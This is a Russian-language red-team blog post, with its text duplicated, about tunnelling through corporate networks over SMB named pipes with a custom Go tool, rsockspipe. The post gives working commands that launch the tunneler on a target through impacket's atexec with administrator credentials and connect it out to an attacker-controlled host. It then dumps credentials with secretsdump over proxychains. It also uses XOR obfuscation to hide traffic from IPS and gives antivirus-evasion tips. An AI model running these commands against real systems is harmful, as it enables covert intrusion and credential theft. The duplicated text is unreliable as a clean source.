Ни для кого не секрет, что корпоративные IPS становятся все умнее и умнее. Сейчас уже никого не удивишь IPS с SSL-митмом на периметре сети или даже внутри корпоративной сети между сегментами. В то же время, помимо всем известных IPS, стали появляться и распространяться различные EDR-решения, которые уже непосредственно на хостах смотрят за устанавливаемыми соединениями. В связи с этим порядочному RedTeam специалисту с каждым днем все труднее и труднее скрываться от вездесущего взгляда BlueTeam. Приходится становиться все изобретательнее в своей нелегкой работе.
Одним из решений для маскировки наших «более полезных деструктивных действий»(с) внутри корпоративных сетей может послужить использование протоколов SMB или RDP. Можно спрятаться внутри них и замаскироваться под легитимный трафик. В этом ничего особо нового нет и техника маскировки внутри SMB используется со времен знаменитых APT-компаний Duqu и Sauron. Там ребята также с большим успехом использовали SMB протокол для передачи управляющих команд своим агентам. После этого данную технику переняли разработчики Metasploit и Cobalt Strike.
В данной статье мы рассмотрим варианты использования протокола SMB для пивотинга, а RDP уже оставим на потом.
Итак, давайте разберем, что же такого прекрасного в использовании SMB для пивотинга.
Во-первых, это широкое распространение. SMB — это практически родной протокол microsoft, то и в корпоративных сетях с windows он используется повсеместно и очень много где. Тут тебе и DFS, и обновления различные, и принтеры и много-много всего-всего. Очень удобно.
Правда, за пределы корпоративной сети, а уж тем более снаружи внутрь 445-й TCP порт сейчас частенько стали закрывать на фаерволах. Всему виной участившиеся случаи фишинга и релеинга с использованием ссылок типа file://x.x.x.x, \\x.x.x.x\ и т.д. И конечно не забудем про WannaCry, которая заставила многие организации закрыть торчащий наружу порт.
Во-вторых, в современных системах, типа Win10/Win2016 и выше информация, передаваемая внутри протокола SMB, точнее уже SMB3 шифруется по умолчанию. Т.е. передавая ваш любимый сплоит внутри SMB можно смело быть спокойным, что корпоративные IPS его не заметят (спасибо Micosoft за это!).
В-третьих, протокол SMB предоставляет удобный механизм так-называемых пайпов (SMB pipes) — это фактически те же именованные пайпы, только доступные по сети. К примеру, строка вида \\192.168.1.10\pipe\atsvc — это пайп службы scheduled tasks. Как раз с ним и работает atexec из фреймворка impacket для создания задач по выполнению команд в windows.
Посмотреть все открытые пайпы на вашей системе можно с помощью утилиты от Sysinternals: pipelist.exe (pipelist64.exe) или через тот же powershell:
Итак, давайте посмотрим, как мы можем использовать SMB пайпы для наших, «более полезных деструктивных действий».
Мы хотим использовать пайпы для скрытной связи с нашим командным шеллом.
Суть в том, что мы запускаем на целевой машине своего агента или шелл, а связь с ним держим через протокол SMB.
К примеру, в метасплоите есть специальные пейлоды для работы c пайпами:
meterpreter_bind_named_pipe
bind_named_pipe
С помощью них вы можете без труда «повесить» ваш listener (будь то meterpreter или обычный командный шелл) на named pipe, тем самым скрыв его от зорких глаз админа безопасности. Но, конечно же, все мы хорошо знаем, что использовать msf пейлоды в ходе боевого пентеста/редтима совсем небезопасно и настоящие тру-хакеры используют кастомный инструментарий, как говорится — от греха подальше…
Альтернативой для msf в качестве командного шелла может являться наш старый-добрый помощник — powershell. В сети существует много примеров по использованию пайпов в качестве канала для коммуникации с С2.
Один из них — это утилита Invoke-PipeShell от команды Threatexpress. Она работает в режиме сервер-клиент и шифрует весь свой трафик 256-битным AES-ключом.
На сервере мы запускаем:
На клиенте запускаем:
Естественно, наш клиент должен быть авторизован на сервере, так что не забудьте сначала провести авторизацию:
После удачного подключения мы получаем полноценную Powershell консоль. Все подробности по работе с этим инструментом, как и сам код можно почерпнуть на гите.
Хорошо. Это вроде понятно. Теперь давайте подумаем, как нам сделать пивотинг внутрь целевой сети через SMB пайпы. К примеру, если на периметре сети открыт только 445-й порт (а бывает и такое...) или соединения наружу от нашего туннелера по SSL беспощадно блокируются корпоративным фаерволом, а вот протокол SMB почему-то закрыть забыли. В этом случае нам необходимо пробросить внутри пайпа полноценный TCP-туннель для того, чтобы мы могли работать с внутренними ресурсами целевой сети. Первое, что приходит в голову — это тот же meterpreter со стейджингом через пайпы. Он прекрасно умеет это делать. Подробности здесь мы рассматривать не будем, т.к. тут все стандартно и по мануалу. Желающие могут почитать инструкцию к metasploit, или посмотреть короткую версию здесь.
О недостатках meterpreter мы уже упоминали выше. Поэтому, давайте посмотрим, что у нас есть еще для пивотинга через пайпы…
После беглого гугления по теме туннелинга через пайпы помимо meterpreter нашлись только Cobalt Strikeи разработка от DxFlatLine.
Первый вариант, во-первых, платный, а во-вторых — ему присущи все те же недостатки, что и meterpreter.
Второй вариант сделан в качестве PoC, работает только в однопоточном режиме и дает туннелировать только одно соединение — т.е., как вы можете догадаться, тоже не вариант для постоянного применения на практике.
Немного подумав над проблемой, мы решили… А почему бы нам не адаптировать нашу прошлую разработку Rsockstun, о которой мы уже писали, под работу с пайпами? Тем более, что архитектура приложения позволяет это сделать с легкостью. Вместо подключения по TCP мы будем использовать подключение по SMB. Это даже упрощает работу утилиты: не надо беспокоиться о SSL, подключении через прокси-сервер и т.д. Оставим только вариант с изначальной авторизации клиента на сервере по паролю, т.к. пайпы — это общедоступная сущность, и, соответственно, читать и писать в них может не только наш туннелер, но и другой софт, в том числе и удаленно.
Права доступа к пайпам, а также сканирование и энумерация пайпов на удаленной машине — это отдельная тема для разговоров. Желающие могут изучить ее на примере metasploit модулей scanner/smb/pipe_auditor и scanner/smb/pipe_rpc_auditor.
Для работы с пайпами из Go мы будем использовать библиотеку npipe
Она сделана достаточно давно и хорошо зарекомендовала себя в различных проектах. Работа через данную библиотеку принципиально не отличается от работы через стандартные механизмы Net: те же функции net.Dial, net.Listen, net.Accept.
Для мультиплексирования нескольких подключений внутри одного пайпа, как и в прошлый раз, мы будем использовать мультиплексор Yamux и socks5 — прокси-сервер. Подробнее про необходимость мультиплексирования внутри TCP и сам yamux вы можете почитать в нашей прошлой статье про rsockstun.
Еще одним отличием и доработкой версии с пайпами, по сравнению с rsockstun, будет то, что теперь yamux-server и соответственно, socks5-proxy могут быть запущены на обоих концах туннелера (правда не одновременно, а либо там, либо там). Это сделано для того, чтобы туннель можно было строить как снаружи вовнутрь целевой сети, так и обратно…
Рисунок 1 — Дамп трафика работы туннелера на Windows 7
На рисунке 1 показано, как будет выглядеть работа нашего туннелера в случае, если хотя бы один из его концов работает на Windows 7. Здесь красная зона — это этап авторизации, зеленая — открытие пайпа, а синяя — непосредственно передача информации. Так же необходимо обратить внимание на то, что используется протокол SMBv2. Фактически это означает, что все что мы передаем внутри туннеля — будет видно открытым текстом:
В отличие от Win7, на Windows10 используется шифрование данных внутри протокола SMB3:
Как мы видим — ни имени пайпа, ни данных внутри туннеля открытым текстом не передается.
Проверить, работает ли на Вашей системе SMB3 шифрование можно через стандартный powershell cmdlet Get-SmbServerConfiguration
И при выключенном шифровании — так же просто его активировать:
Однако, не всегда мы можем быть уверенными, что шифрование внутри SMB будет включено по умолчанию, а включать его на чужом сервере или сети — не самая хорошая идея…
В связи с этим нам необходимо предусмотреть в нашем туннелере режим, который позволил бы зашифровать трафик внутри нашего туннеля. Причем у нас не стоит задача надежно зашифровать так, чтобы расшифровать могли только на суперкомпьютере АНБ, а всего лишь спрятать сигнатуры трафика внутри туннелера от IPS. В связи с этим мы будем использовать простой XOR с небольшим ключом для маскировки нашего трафика, что позволит нам экономить ресурсы процессора и практически не повлияет на скорость передачи.
Чтобы не создавать лишний сетевой уровень, ответственный за шифрование трафика, мы внесем функционал непосредственно в состав модуля yamux, ответственного за передачу полезной нагрузки (модуль stream.go, и функции Read и Write):
После внесения изменений наш GET запрос уже не так хорошо виден в трафике:
Итого, варианты запуска и соответственно применения нашего туннелера будут такими:
Вариант 1. Подключение снаружи внутрь сети и проброс Socks5 соединения. Например, когда наружу торчит 445-й порт и мы знаем креды для подключения:
На внутреннем сервере через SMB подключение и утилиту impacket запускаем серверную часть rsockpipe:
На внешней (подконтрольной нам) Windows-машине запускаем клиентскую часть rsockspipe и после установления соединения используем её как socks5 proxy:
Вариант 2. Подключение изнутри наружу по протоколу SMB. Когда подключения наружу по всем web-протоколам жестко мониторятся, а про SMB админы почему-то позабыли…
На внешней (подконтрольной нам) Windows машине (ip: Y.Y.Y.Y) запускаем клиентскую часть rsockspipe и ждем подключения клиентов:
На сервере внутри целевой сети запускаем клиентскую часть (так же через impacket):
После удачного подключения можем пользоваться нашим сервером как soscks5:
Тут есть одно замечание, особенно ко второму варианту. Помните, мы говорили, что для удачного подключения к пайпу мы должны быть авторизованы на серверной части, т.е. перед запуском туннелера нам необходимо пройти авторизацию. Сделать это можно так:
Так вот… Во втором варианте использования команда net use запускается на целевой машине. А это означает что на целевой машине (в памяти процесса lsass) остаются креды от Вашей Windows машины. И если они будут админские (а как правило все начинающие хакеры работаю от админа...), то это может привести к «обратному привету» от BlueTeam… В общем, думаете, когда что-либо делаете…
В целом, туннелер получился достаточно неплохой… Главное, что готов к активному применению.
Исходный код, как и уже скомпилированные бинари под x86 и x64 расположены на нашем гите
И Небольшое дополнение. Последнее время стали замечать, что Golang-софт, скомпилированный в режиме Win GUI (компиляция в режиме: go build -ldflags="-H windowsgui"), стал сильно палится некоторыми анти-вирусными решениями (KAV, SEP14). Доходит уже до смешного — откомпилированный в GUI-режиме «Hello World» детектируется как зловред. Видимо, это из-за того, что Golang все-таки стал излюбленным средством малварщиков. Так что наш совет — компилировать проект в стандартном консольном режиме, а с черным cmf-окошком настоящий хакер знает, как справиться (в качестве подсказки — тот же impacket, например).
P.S. «Более полезные деструктивные действия» — формулировка Д.Самарцева — директора компании BiZone. В дан-ном случае она наиболее точно описывает суть работы RedTeam специалистов.
Одним из решений для маскировки наших «более полезных деструктивных действий»(с) внутри корпоративных сетей может послужить использование протоколов SMB или RDP. Можно спрятаться внутри них и замаскироваться под легитимный трафик. В этом ничего особо нового нет и техника маскировки внутри SMB используется со времен знаменитых APT-компаний Duqu и Sauron. Там ребята также с большим успехом использовали SMB протокол для передачи управляющих команд своим агентам. После этого данную технику переняли разработчики Metasploit и Cobalt Strike.
В данной статье мы рассмотрим варианты использования протокола SMB для пивотинга, а RDP уже оставим на потом.
Используем SMB
Итак, давайте разберем, что же такого прекрасного в использовании SMB для пивотинга.
Во-первых, это широкое распространение. SMB — это практически родной протокол microsoft, то и в корпоративных сетях с windows он используется повсеместно и очень много где. Тут тебе и DFS, и обновления различные, и принтеры и много-много всего-всего. Очень удобно.
Правда, за пределы корпоративной сети, а уж тем более снаружи внутрь 445-й TCP порт сейчас частенько стали закрывать на фаерволах. Всему виной участившиеся случаи фишинга и релеинга с использованием ссылок типа file://x.x.x.x, \\x.x.x.x\ и т.д. И конечно не забудем про WannaCry, которая заставила многие организации закрыть торчащий наружу порт.
Во-вторых, в современных системах, типа Win10/Win2016 и выше информация, передаваемая внутри протокола SMB, точнее уже SMB3 шифруется по умолчанию. Т.е. передавая ваш любимый сплоит внутри SMB можно смело быть спокойным, что корпоративные IPS его не заметят (спасибо Micosoft за это!).
В-третьих, протокол SMB предоставляет удобный механизм так-называемых пайпов (SMB pipes) — это фактически те же именованные пайпы, только доступные по сети. К примеру, строка вида \\192.168.1.10\pipe\atsvc — это пайп службы scheduled tasks. Как раз с ним и работает atexec из фреймворка impacket для создания задач по выполнению команд в windows.
Посмотреть все открытые пайпы на вашей системе можно с помощью утилиты от Sysinternals: pipelist.exe (pipelist64.exe) или через тот же powershell:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")Погружение
Итак, давайте посмотрим, как мы можем использовать SMB пайпы для наших, «более полезных деструктивных действий».
Мы хотим использовать пайпы для скрытной связи с нашим командным шеллом.
Суть в том, что мы запускаем на целевой машине своего агента или шелл, а связь с ним держим через протокол SMB.
К примеру, в метасплоите есть специальные пейлоды для работы c пайпами:
meterpreter_bind_named_pipe
bind_named_pipe
С помощью них вы можете без труда «повесить» ваш listener (будь то meterpreter или обычный командный шелл) на named pipe, тем самым скрыв его от зорких глаз админа безопасности. Но, конечно же, все мы хорошо знаем, что использовать msf пейлоды в ходе боевого пентеста/редтима совсем небезопасно и настоящие тру-хакеры используют кастомный инструментарий, как говорится — от греха подальше…
Альтернативой для msf в качестве командного шелла может являться наш старый-добрый помощник — powershell. В сети существует много примеров по использованию пайпов в качестве канала для коммуникации с С2.
Один из них — это утилита Invoke-PipeShell от команды Threatexpress. Она работает в режиме сервер-клиент и шифрует весь свой трафик 256-битным AES-ключом.
На сервере мы запускаем:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30На клиенте запускаем:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000Естественно, наш клиент должен быть авторизован на сервере, так что не забудьте сначала провести авторизацию:
net use \\targetserver.domain.com\IPC$ /user:admin Password1После удачного подключения мы получаем полноценную Powershell консоль. Все подробности по работе с этим инструментом, как и сам код можно почерпнуть на гите.
Хорошо. Это вроде понятно. Теперь давайте подумаем, как нам сделать пивотинг внутрь целевой сети через SMB пайпы. К примеру, если на периметре сети открыт только 445-й порт (а бывает и такое...) или соединения наружу от нашего туннелера по SSL беспощадно блокируются корпоративным фаерволом, а вот протокол SMB почему-то закрыть забыли. В этом случае нам необходимо пробросить внутри пайпа полноценный TCP-туннель для того, чтобы мы могли работать с внутренними ресурсами целевой сети. Первое, что приходит в голову — это тот же meterpreter со стейджингом через пайпы. Он прекрасно умеет это делать. Подробности здесь мы рассматривать не будем, т.к. тут все стандартно и по мануалу. Желающие могут почитать инструкцию к metasploit, или посмотреть короткую версию здесь.
О недостатках meterpreter мы уже упоминали выше. Поэтому, давайте посмотрим, что у нас есть еще для пивотинга через пайпы…
После беглого гугления по теме туннелинга через пайпы помимо meterpreter нашлись только Cobalt Strikeи разработка от DxFlatLine.
Первый вариант, во-первых, платный, а во-вторых — ему присущи все те же недостатки, что и meterpreter.
Второй вариант сделан в качестве PoC, работает только в однопоточном режиме и дает туннелировать только одно соединение — т.е., как вы можете догадаться, тоже не вариант для постоянного применения на практике.
И что делать?
Немного подумав над проблемой, мы решили… А почему бы нам не адаптировать нашу прошлую разработку Rsockstun, о которой мы уже писали, под работу с пайпами? Тем более, что архитектура приложения позволяет это сделать с легкостью. Вместо подключения по TCP мы будем использовать подключение по SMB. Это даже упрощает работу утилиты: не надо беспокоиться о SSL, подключении через прокси-сервер и т.д. Оставим только вариант с изначальной авторизации клиента на сервере по паролю, т.к. пайпы — это общедоступная сущность, и, соответственно, читать и писать в них может не только наш туннелер, но и другой софт, в том числе и удаленно.
Права доступа к пайпам, а также сканирование и энумерация пайпов на удаленной машине — это отдельная тема для разговоров. Желающие могут изучить ее на примере metasploit модулей scanner/smb/pipe_auditor и scanner/smb/pipe_rpc_auditor.
Для работы с пайпами из Go мы будем использовать библиотеку npipe
Она сделана достаточно давно и хорошо зарекомендовала себя в различных проектах. Работа через данную библиотеку принципиально не отличается от работы через стандартные механизмы Net: те же функции net.Dial, net.Listen, net.Accept.
Для мультиплексирования нескольких подключений внутри одного пайпа, как и в прошлый раз, мы будем использовать мультиплексор Yamux и socks5 — прокси-сервер. Подробнее про необходимость мультиплексирования внутри TCP и сам yamux вы можете почитать в нашей прошлой статье про rsockstun.
Еще одним отличием и доработкой версии с пайпами, по сравнению с rsockstun, будет то, что теперь yamux-server и соответственно, socks5-proxy могут быть запущены на обоих концах туннелера (правда не одновременно, а либо там, либо там). Это сделано для того, чтобы туннель можно было строить как снаружи вовнутрь целевой сети, так и обратно…
А теперь как обычно — нюансы
Рисунок 1 — Дамп трафика работы туннелера на Windows 7
На рисунке 1 показано, как будет выглядеть работа нашего туннелера в случае, если хотя бы один из его концов работает на Windows 7. Здесь красная зона — это этап авторизации, зеленая — открытие пайпа, а синяя — непосредственно передача информации. Так же необходимо обратить внимание на то, что используется протокол SMBv2. Фактически это означает, что все что мы передаем внутри туннеля — будет видно открытым текстом:
В отличие от Win7, на Windows10 используется шифрование данных внутри протокола SMB3:
Как мы видим — ни имени пайпа, ни данных внутри туннеля открытым текстом не передается.
Проверить, работает ли на Вашей системе SMB3 шифрование можно через стандартный powershell cmdlet Get-SmbServerConfiguration
И при выключенном шифровании — так же просто его активировать:
Однако, не всегда мы можем быть уверенными, что шифрование внутри SMB будет включено по умолчанию, а включать его на чужом сервере или сети — не самая хорошая идея…
В связи с этим нам необходимо предусмотреть в нашем туннелере режим, который позволил бы зашифровать трафик внутри нашего туннеля. Причем у нас не стоит задача надежно зашифровать так, чтобы расшифровать могли только на суперкомпьютере АНБ, а всего лишь спрятать сигнатуры трафика внутри туннелера от IPS. В связи с этим мы будем использовать простой XOR с небольшим ключом для маскировки нашего трафика, что позволит нам экономить ресурсы процессора и практически не повлияет на скорость передачи.
Чтобы не создавать лишний сетевой уровень, ответственный за шифрование трафика, мы внесем функционал непосредственно в состав модуля yamux, ответственного за передачу полезной нагрузки (модуль stream.go, и функции Read и Write):
func xoring(istr *[]byte, key string){
for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]}
}
После внесения изменений наш GET запрос уже не так хорошо виден в трафике:
Один, два, три… Пуск!
Итого, варианты запуска и соответственно применения нашего туннелера будут такими:
Вариант 1. Подключение снаружи внутрь сети и проброс Socks5 соединения. Например, когда наружу торчит 445-й порт и мы знаем креды для подключения:
На внутреннем сервере через SMB подключение и утилиту impacket запускаем серверную часть rsockpipe:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"На внешней (подконтрольной нам) Windows-машине запускаем клиентскую часть rsockspipe и после установления соединения используем её как socks5 proxy:
rsockspipe.exe -connect x.x.x.x\rsockspipename -socks y.y.y.y:1080 -pass Pass-word1234
proxychains secretsdump.py admin:Passw0rd@y.y.1.10Вариант 2. Подключение изнутри наружу по протоколу SMB. Когда подключения наружу по всем web-протоколам жестко мониторятся, а про SMB админы почему-то позабыли…
На внешней (подконтрольной нам) Windows машине (ip: Y.Y.Y.Y) запускаем клиентскую часть rsockspipe и ждем подключения клиентов:
rsockspipe.exe -listen .\rsockspipename -socks y.y.y.y:1080 -pass Password1234На сервере внутри целевой сети запускаем клиентскую часть (так же через impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect Y.Y.Y.Y\rsockspipename -pass Password1234"После удачного подключения можем пользоваться нашим сервером как soscks5:
proxychains secretsdump.py admin:Passw0rd@y.y.1.10Тут есть одно замечание, особенно ко второму варианту. Помните, мы говорили, что для удачного подключения к пайпу мы должны быть авторизованы на серверной части, т.е. перед запуском туннелера нам необходимо пройти авторизацию. Сделать это можно так:
net use \\y.y.y.y\ipc$ /user:<usrname> <Password1>Так вот… Во втором варианте использования команда net use запускается на целевой машине. А это означает что на целевой машине (в памяти процесса lsass) остаются креды от Вашей Windows машины. И если они будут админские (а как правило все начинающие хакеры работаю от админа...), то это может привести к «обратному привету» от BlueTeam… В общем, думаете, когда что-либо делаете…
Вместо заключения
В целом, туннелер получился достаточно неплохой… Главное, что готов к активному применению.
Исходный код, как и уже скомпилированные бинари под x86 и x64 расположены на нашем гите
И Небольшое дополнение. Последнее время стали замечать, что Golang-софт, скомпилированный в режиме Win GUI (компиляция в режиме: go build -ldflags="-H windowsgui"), стал сильно палится некоторыми анти-вирусными решениями (KAV, SEP14). Доходит уже до смешного — откомпилированный в GUI-режиме «Hello World» детектируется как зловред. Видимо, это из-за того, что Golang все-таки стал излюбленным средством малварщиков. Так что наш совет — компилировать проект в стандартном консольном режиме, а с черным cmf-окошком настоящий хакер знает, как справиться (в качестве подсказки — тот же impacket, например).
P.S. «Более полезные деструктивные действия» — формулировка Д.Самарцева — директора компании BiZone. В дан-ном случае она наиболее точно описывает суть работы RedTeam специалистов.
